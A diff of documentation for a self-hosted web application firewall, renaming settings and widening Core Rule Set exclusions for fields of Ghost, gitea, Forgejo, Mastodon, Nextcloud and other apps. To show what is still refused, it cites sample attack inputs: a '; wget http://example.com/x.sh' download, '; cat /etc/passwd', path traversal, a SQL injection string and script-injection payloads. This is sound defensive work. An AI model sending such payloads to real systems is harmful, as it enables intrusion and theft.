has one `q`, made only of letters, digits, `_`, `.`, `+`, `-`, `/`,
`@` and `*`.
- The path of these requests, which names a file:
- a file's page;
- its raw file;
@@ -971,8 +1002,8 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
and `fix-powershell-module` were refused.
`; wget http://example.com/x.sh` and path traversal are still refused in
these fields. These exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. None applies when the query
has a parameter of the same name.
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when
the query has a parameter of the same name.
- `id` of the forms that adopt or delete an unadopted repository, for the
rules that refused repository names (930120, 932120, 932160, 932260). `id`
@@ -1066,7 +1097,8 @@ The fields are:
the lists of system files, shell paths, command names and JavaScript names
(930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter of
that name, so it matters only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set:
that name, so it matters only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set:
- `content` of a post, a page, a template or a template part saved through
the REST API. It holds HTML and any code it shows.
- `content` of a reply to a comment sent to `admin-ajax.php`.
@@ -1193,8 +1225,8 @@ These fields of a body skip the rules that refused them:
for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only.
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
None applies when the query has a parameter of the same name.
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE`
is set. None applies when the query has a parameter of the same name.
Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is any
@@ -1294,8 +1326,9 @@ These fields of a body skip the rules that refused them:
have a namespace, such as `Special:`. The title follows `/index.php/` or
`/wiki/` in the path, or is the `title` of `/index.php`.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies when the query has a parameter of the same name.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
has a parameter of the same name.
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
@@ -1448,8 +1481,9 @@ items.
`<img src=x onerror=x()>` sent as a password reach Mastodon;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies when the query has a parameter of the same name.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
has a parameter of the same name.
The names of uploaded files skip 932180 on these paths:
@@ -1514,8 +1548,9 @@ The addresses skip them on these paths too:
- `/api/auth-requests` and the paths under it, for signing in with another
device.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies when the query has a parameter of the same name.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
has a parameter of the same name.
`username` in the query of `/api/hibp/breach`, the data breach report, skips
930120, 932120 and 932260 too.
@@ -1688,10 +1723,11 @@ A CalDAV or CardDAV client finds these paths with a `PROPFIND` on
`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those
two paths.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies to a JSON field when the query has a parameter of that name,
such as `json.message`. Nextcloud's pages are matched at the site root and under
`/index.php/`. Elsewhere these fields keep every rule.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies to a JSON
field when the query has a parameter of that name, such as `json.message`.
Nextcloud's pages are matched at the site root and under `/index.php/`.
Elsewhere these fields keep every rule.
Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo`
gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and
@@ -1738,7 +1774,7 @@ Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from`
and `to` skip the lists of Windows commands and command names (932120, 932260),
which refused `fix-powershell-module` and `feat/docker-support`. This matters
only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set.
The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
puts what gitea puts in `gitea_flash` (gitea's second fix).
@@ -1747,31 +1783,87 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
and the request it refused. Ghost's admin and integrations call the Admin API
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
`/ghost/api/content/`, and members call `/members/api/`.
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
Three query fields skip some rules:
Eight rules refused words that name commands and files, such as `python3`,
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
API and the Content API, so `tag:powershell` passes;
These query fields skip some rules:
- `filter`, a query in Ghost's own filter language, skips those eight rules
except 930120, on the Admin API and the Content API;
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
the Admin API;
- `url`, the address the editor looks up for an embed or a bookmark, skips
930120 and 932120.
930120 and 932120;
- `source` and the `utm_` fields, which filter the analytics, skip those eight
rules under `/ghost/api/admin/stats/`;
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
there;
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
on the Admin API's posts;
- `query`, a search for an account in ActivityPub, skips those eight rules;
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
The fields of JSON bodies where a person types plain text skip 930120, 932120,
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
pages, tags, labels, members, newsletters and snippets, on the Admin API:
The fields of JSON bodies where a person types plain text skip those eight
rules. They are these fields of posts, pages, tags, labels, members, newsletters
and snippets, on the Admin API:
- `title`, `name` and `slug`;
- a post's `tags` and a member's `labels`, by name or slug;
- `custom_excerpt`, `description`, `note` and `sender_name`;
- the `meta_`, `og_` and `twitter_` titles and descriptions.
A member's `name` at `/members/api/` skips them too. A member's `email` skips
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
member. A staff user's address skips them too: `username` when signing in, and
`email` when creating the first staff user, asking for a password reset or
saving a profile.
These fields on the Admin API skip them too:
- a staff user's `name`, `slug`, `bio`, `location` and `website`;
- `blogTitle` and `name` when creating the first staff user;
- `name` when accepting an invitation;
- `name`, `description` and `benefits` of tiers;
- `name`, `code`, `display_title` and `display_description` of offers;
- `title`, `description` and `excerpt` of recommendations;
- `name` and `description` of integrations, and `name` of webhooks;
- `feature_image_alt` and `feature_image_caption` of posts and pages.
These fields skip them on their own paths:
- a member's `name` at `/members/api/`;
- `html` of a member's comment at `/members/api/comments/`;
- `labels`, when the admin imports members from a CSV file;
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
description of its image;
- `name`, `username` and `bio` of the account in ActivityPub.
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
the admin adds or edits a member. A staff user's address skips them too. It is
sent as `username` when signing in, and as `email` in these requests:
- creating the first staff user;
- asking for a password reset;
- saving a profile;
- inviting a staff user;
- accepting an invitation.
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
its rules only on its own path:
- `sourceHandle`, an account that moves here, when it is added at
`/.ghost/activitypub/v1/aliases`;
- `actorUri`, that account's address, when the admin removes it there;
- `targetHandle`, the account this one moves to, at
`/.ghost/activitypub/v1/migration`;
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
`/.ghost/activitypub/v1/domain/validate`.
The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
does. Each skips them only on its own path:
- a post's under `/ghost/api/admin/posts/`;
- a page's under `/ghost/api/admin/pages/`;
- a tag's under `/ghost/api/admin/tags/`.
The articles carry HTML on purpose. These fields on the Admin API hold them:
@@ -1791,20 +1883,38 @@ The articles skip these rules:
Code injection is the HTML that Ghost adds to the head and the foot of a page.
These fields on the Admin API hold it:
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `value` of settings, since the site's settings hold its code injection.
Code injection skips these rules:
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
refused words that name commands and files, such as the site's title
`powershell & python3`;
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
elements.
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
articles and code injection (941110, 941170 and 941210). Path traversal and SQL
injection are still refused in every field above. Script injection is too,
outside the articles. `; wget http://example.com/x.sh` is still refused in the
query fields, the plain text and the addresses.
A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
card can embed a widget and code injection can load analytics. These are the
fields, on the Admin API:
- `lexical`, `mobiledoc` and `html` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `value` of settings.
`<script>alert(1)</script>` is still refused in snippets and newsletters.
`javascript:alert(1)` is still refused in the articles and code injection
(941170 and 941210). Path traversal and SQL injection are still refused in every
field above. Script injection is too, outside the articles and code injection.
`; wget http://example.com/x.sh` is still refused in these fields:
- the addresses, the handles and the domain;
- the `canonical_url` of posts, pages and tags;
- `search`, `url`, `pathname`, `email_segment` and `email`.
The other fields above skip 932235, which refuses that command but also refuses
`powershell & python3`.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
That name holds `.profile`, a file on the list of system files, so the name
@@ -1817,9 +1927,10 @@ resetting or changing a password. `' OR '1'='1`, `../../etc/passwd`,
`; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password reach
Ghost; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies when the query has a parameter of the same name. Elsewhere
these fields keep every rule. The paths are those of Ghost at the site root.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
has a parameter of the same name. Elsewhere these fields keep every rule. The
paths are those of Ghost at the site root.
Each app's fixes switch rules off for some of its fields and cookies. Any other
app on a hostname that gets those fixes must check those fields and cookies
@@ -1901,7 +2012,7 @@ together.
- an answer in `127.255.255.0/24`;
- an answer outside `127.0.0.0/8`;
- a resolver error;
- no answer within `SWW_WAF_REPUTATION_TIMEOUT`.
- no answer within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`.
DNS blocklists made for mail servers list residential ranges, and would
block ordinary visitors, so they should not be used. Spamhaus zones need
@@ -1926,13 +2037,13 @@ together.
after which no client is checked for a minute, when:
- AbuseIPDB answers other than `200`;
- the answer gives no score;
- no answer comes within `SWW_WAF_REPUTATION_TIMEOUT`.
- `SWW_WAF_REPUTATION_ACTION`, for DNS blocklist and AbuseIPDB hits, is
- no answer comes within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`.
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`, for DNS blocklist and AbuseIPDB hits, is
`limit:25` by default. Such verdicts are less certain than a blocklist, so a
listed client gets a quarter of every request and byte limit rather than a
refusal.
- Verdicts and scores are kept for `SWW_WAF_REPUTATION_CACHE_TTL`, in memory and
in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
- Verdicts and scores are kept for `SWW_WAF_IP_REPUTATION_CACHE_TTL`, in memory
and in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
quota gives no verdict. The service continues. Each failure raises a
`source_failure` alert (see "Alerting").
@@ -1969,13 +2080,13 @@ which the metrics show. They reveal a widely distributed scraper, thousands of
addresses at low rates each, which the per-client limits do not see. A low
percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
- Requests and body bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted per
minute and per hour, for each of:
- Requests and body bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted
per minute and per hour, for each of:
- a client;
- the surrounding netblock;
- an AS number;
- the whole service;
- a named netblock in `SWW_WAF_WATCH_NETS`.
- a named netblock in `SWW_WAF_ANOMALY_WATCHED_NETS`.
- Every request `waf` answers with `allow`, `deny` or `close` is counted, an
allowed one when its report comes. That holds whatever was done with it, and
for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`,
@@ -1984,9 +2095,9 @@ percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
## Rule files
`waf` reads every `*.rules` file in `SWW_WAF_RULES_DIR` and checks each request
against them. `docs/rules.md` gives the format, the targets and actions, and the
default file.
`waf` reads every `*.rules` file in `SWW_WAF_RULE_FILES_DIR` and checks each
request against them. `docs/rules.md` gives the format, the targets and actions,
and the default file.
- The files are plain text meant to be edited by hand, so that a new scanning
pattern seen in the request log becomes a rule in one line. `waf` watches the
@@ -2015,9 +2126,9 @@ default file.
- a regex that does not compile;
- a duplicate id.
So does a `SWW_WAF_RULES_DIR` that does not exist or cannot be read. While
running, the same faults leave the rules as they were, and the log and one
`file_error` alert name the file and line. Once the file is fixed, it is
So does a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read.
While running, the same faults leave the rules as they were, and the log and
one `file_error` alert name the file and line. Once the file is fixed, it is
read again. An empty directory is not an error: the log says that no rules
were loaded.
@@ -2027,13 +2138,13 @@ default file.
`/<owner>/<repo>/src/branch/main/.env.example` is a file in a repository that
any visitor may open. Anchor the paths of your own `ban` rules at the site
root too. A rule has one target, so a `path` rule applies on every site behind
that `waf`. A directory mounted over `SWW_WAF_RULES_DIR` replaces the default
file; single files mounted into it add to it.
that `waf`. A directory mounted over `SWW_WAF_RULE_FILES_DIR` replaces the
default file; single files mounted into it add to it.
- Rules meant to be edited while `waf` runs belong in a mounted directory, not a
mounted file. Many editors save a file by replacing it, and a container keeps
seeing the old one when the file alone is mounted. The lookup database is
mounted the same way, for the same reason. To run without rule files, mount an
empty directory or set `SWW_WAF_RULES_ENABLED=false`.
empty directory or set `SWW_WAF_RULE_FILES_ENABLED=false`.
## Persistent state
@@ -2120,8 +2231,8 @@ lists the files, what each holds, and their sizes.
in the metrics and sent as one `file_error` alert per cooldown, and retried at
the next write.
- A hard kill loses the changes since the last write: ban changes from the last
`SWW_WAF_STATE_WRITE_DELAY`, everything else from the last
`SWW_WAF_STATE_COUNTER_INTERVAL`. Losing the volume loses ban history, not
`SWW_WAF_BANS_WRITE_DELAY`, everything else from the last
`SWW_WAF_STATE_WRITE_INTERVAL`. Losing the volume loses ban history, not
service.
## Request log
@@ -2147,10 +2258,11 @@ lines to stdout only.
severity informational, the time, the host's name and the app name from
`SWW_WAF_LOG_REMOTE_APP_NAME`.
- Sending happens on its own goroutine from a buffer of
`SWW_WAF_LOG_REMOTE_BUFFER` lines, so a server that is slow or down never
holds up a request and never stops stdout. When the buffer is full, the oldest
line is dropped and counted in the metrics. A failed connection is tried again
a second later, and twice as long after each further failure, up to a minute.
`SWW_WAF_LOG_REMOTE_BUFFER_LINES` lines, so a server that is slow or down
never holds up a request and never stops stdout. When the buffer is full, the
oldest line is dropped and counted in the metrics. A failed connection is
tried again a second later, and twice as long after each further failure, up
to a minute.
- As `waf` stops, it spends at most two seconds sending the lines still waiting,
and drops the rest; stdout has carried them.
@@ -2297,21 +2409,23 @@ In `observe` mode a request that `enforce` mode would refuse is answered
answered `404`.
The Core Rule Set inspects the body a question carries only while
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. It inspects at most 64 KiB less one
byte. So it does not inspect a JSON or XML body of 64 KiB or more, which may
have been cut short.
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. It inspects at most 64 KiB
less one byte. So it does not inspect a JSON or XML body of 64 KiB or more,
which may have been cut short.
### Answering in time
`rproxy` stops waiting for `waf` after `SWW_RPROXY_TIMEOUT_MS`, by default 2
seconds, and `SWW_RPROXY_DEFAULT_DISPOSITION` then decides. The longest a
question waits on an outside source is `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
milliseconds, well within that time.
`rproxy` stops waiting for `waf` after `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, by
default 2 seconds, and `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` then
decides. The longest a question waits on an outside source is
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds, well
within that time.
GeoJS is the only outside source a question can wait on. A question waits only
when step 6 says so, and for at most `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
milliseconds. A client without an answer by then counts as unknown. No question
waits on these, which run in the background:
when step 6 says so, and for at most
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds. A
client without an answer by then counts as unknown. No question waits on these,
which run in the background:
- the DNS blocklists and AbuseIPDB;
- fetching the blocklists, the tag lists, the CrowdSec decision list and the
@@ -2328,15 +2442,16 @@ In `enforce` mode, a question does not wait for GeoJS when it is a request:
Such a request still goes through the steps in their order. Its client's AS
number and country stay unknown until GeoJS has answered. So while
`SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first.
`SWW_WAF_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting
never lowers its limit.
`SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` does not apply to it until then, so not
waiting never lowers its limit.
The header limits, the static lists and bans come before the lookup, so they
never wait. These can still wait for GeoJS:
- a country list, which needs the answer;
- a rate limit a percentage has lowered, which needs the answer;
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_REPUTATION_ACTION` is `deny`;
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` is
`deny`;
- a trap path;
- a rule file;
- the Core Rule Set.
@@ -2366,7 +2481,8 @@ other check runs on it.
The Core Rule Set runs each of its rules on each cookie, so thousands of small
cookies would keep it busy for over a second. Within the limits, one long cookie
or query string can still keep it busy for a fraction of a second. So enough
such requests at once can overload `waf` past `SWW_RPROXY_TIMEOUT_MS`.
such requests at once can overload `waf` past
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`.
### The report
@@ -2405,7 +2521,7 @@ answer.
For a request it holds, `waf` writes the request's last log line (see "The
log"). For a request it allowed, it first:
- counts the body bytes `SWW_WAF_BYTES_COUNT` names, toward the client's byte
- counts the body bytes `SWW_WAF_BYTES_COUNTED` names, toward the client's byte
limits at the percentages it gave that request;
- bans a client whose total passes a byte limit;
- adds the request with its status to the client's history, the anomaly counters
@@ -2472,9 +2588,9 @@ request and ban notes name the site by its host.
`sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each
request, and passes on what `waf` allows. It keeps nothing between requests and
writes nothing to disk. When `waf` cannot be connected to, does not answer at
all, or does not answer within `SWW_RPROXY_TIMEOUT_MS`,
`SWW_RPROXY_DEFAULT_DISPOSITION` decides. Its default, `allow`, keeps the site
answering.
all, or does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`,
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides. Its default, `allow`,
keeps the site answering.
`rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists.
One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no
@@ -2565,36 +2681,37 @@ log line has status `0`.
### Without an answer from `waf`
`SWW_RPROXY_DEFAULT_DISPOSITION` decides what is done with the request only when
`waf`:
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides what is done with the
request only when `waf`:
- cannot be connected to;
- does not answer at all;
- does not answer within `SWW_RPROXY_TIMEOUT_MS`, which covers connecting,
sending the question and reading the whole answer.
- does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, which covers
connecting, sending the question and reading the whole answer.
An answer whose body breaks off counts as no answer at all.
`allow`, the default, passes the request to the app. `deny` answers `503`.
Either way `rproxy` writes a process warning, its log line has
`default_disposition`, and it sends no report.
`waf_backend_no_answer`, and it sends no report.
A visitor can make `waf` slow. A request that keeps `waf` busy past
`SWW_RPROXY_TIMEOUT_MS`, like any request while `waf` is overloaded, gets
`SWW_RPROXY_DEFAULT_DISPOSITION`. With `deny`, such a request gets `503` instead
of reaching the app.
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, like any request while `waf` is overloaded,
gets `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. With `deny`, such a request
gets `503` instead of reaching the app.
A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
that the app never sees that prefix.
`rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
writes a process warning, its log line has no `disposition`, and it sends no
report.
below `200`. The visitor gets `502` from `rproxy`, whatever
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process
warning, its log line has no `disposition`, and it sends no report.
A visitor that goes away while `waf` is being asked is no failure of `waf`.
`rproxy` closes the connection, with no warning, no default and no report. Its
log line has status `0` and no `disposition`.
`rproxy` closes the connection with no warning and no report, and
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has
status `0` and no `disposition`.
### Passing a request to the app
@@ -2697,8 +2814,8 @@ those at `info` or more severe are written.
On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in
progress five seconds to finish. It then waits for the reports on their way,
each for up to `SWW_RPROXY_TIMEOUT_MS`. A report that comes due after that is
dropped, such as that of a WebSocket that closes later.
each for up to `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. A report that comes due
after that is dropped, such as that of a WebSocket that closes later.
## Deployment
@@ -2792,13 +2909,14 @@ process that stops at start is started again every second, not in a tight loop.
does not stop. Beside an app, the other process keeps running.
- While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy`
answers `502`, which is not a client offence. While `waf` is down,
`SWW_RPROXY_DEFAULT_DISPOSITION` decides (see "Without an answer from `waf`").
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides (see "Without an answer
from `waf`").
- Only faults found at start stop `waf`:
- invalid configuration;
- a lookup database that is missing or unreadable;
- a rule file or state file that does not parse;
- an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`;
- a `SWW_WAF_RULES_DIR` that does not exist or cannot be read;
- a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read;
- a `SWW_WAF_LISTEN_ADDR` it cannot listen on.
- Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on,
stops `rproxy`.
+3 -2
View File
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
## Traffic
@@ -33,7 +33,8 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
## Countries and AS numbers
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest
as `other`:
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
+10 -8
View File
@@ -128,8 +128,8 @@ Every one of these lines has:
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`,
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
@@ -148,7 +148,7 @@ Every one of these lines has:
holds:
- `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_WAF_BYTES_COUNT` names, in that window.
`SWW_WAF_BYTES_COUNTED` names, in that window.
A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
@@ -158,7 +158,8 @@ Every one of these lines has:
- `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
- `minute_refusals` for the refusal limit
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
When the bytes counted for a request and its response break a limit, the
request has been passed on whole, so its `action` stays `forward`. Only its
@@ -233,14 +234,15 @@ meanings where they differ:
was sooner. It includes the wait for `waf`.
- `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is
left out when:
is `waf`'s answer, or the value of
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when:
- `waf` was not asked, as for the health check;
- the visitor went away while `waf` was being asked;
- `waf`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out.
- `waf_backend_no_answer`: `true` when
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and
otherwise left out.
For example:
+69 -62
View File
@@ -12,6 +12,8 @@ chooses between the two (see "The image's command" below).
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
and negative durations are refused.
- A time in milliseconds is a whole number above zero, such as `2000`. Its
setting's name ends in `_MS`.
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
- A count is a whole number of requests, such as `1000`.
@@ -55,9 +57,9 @@ chooses between the two (see "The image's command" below).
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
files, an absolute path that can be written. The image's `run` script makes
it.
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration.
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and
cache file is written. A duration.
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
files, an absolute path that can be written. The image's `run` script makes
@@ -77,8 +79,8 @@ chooses between the two (see "The image's command" below).
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
that a `syslog+tls` server's certificate must chain to, instead of the host's
own. A file that cannot be read, or holds no certificate, is refused.
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
wait to be sent, a whole number above zero.
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while
they wait to be sent, a whole number above zero.
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`.
@@ -87,8 +89,9 @@ chooses between the two (see "The image's command" below).
## Metrics
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
countries get series of their own. A whole number above zero.
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS
numbers and how many countries get series of their own. A whole number above
zero.
## Static lists
@@ -134,10 +137,10 @@ cut off; the client is banned.
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
count: response bodies, request bodies or both. The request that passes the
limit is not cut off, and the client is banned when its response ends.
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which
bytes count: response bodies, request bodies or both. The request that passes
the limit is not cut off, and the client is banned when its response ends.
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte
anomaly thresholds count: `response`, the app's response bodies; `request`,
the visitors' request bodies; or `both`. What the visitor sent over a
WebSocket counts as request bytes, and what the app sent as response bytes.
@@ -151,13 +154,13 @@ cut off; the client is banned.
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
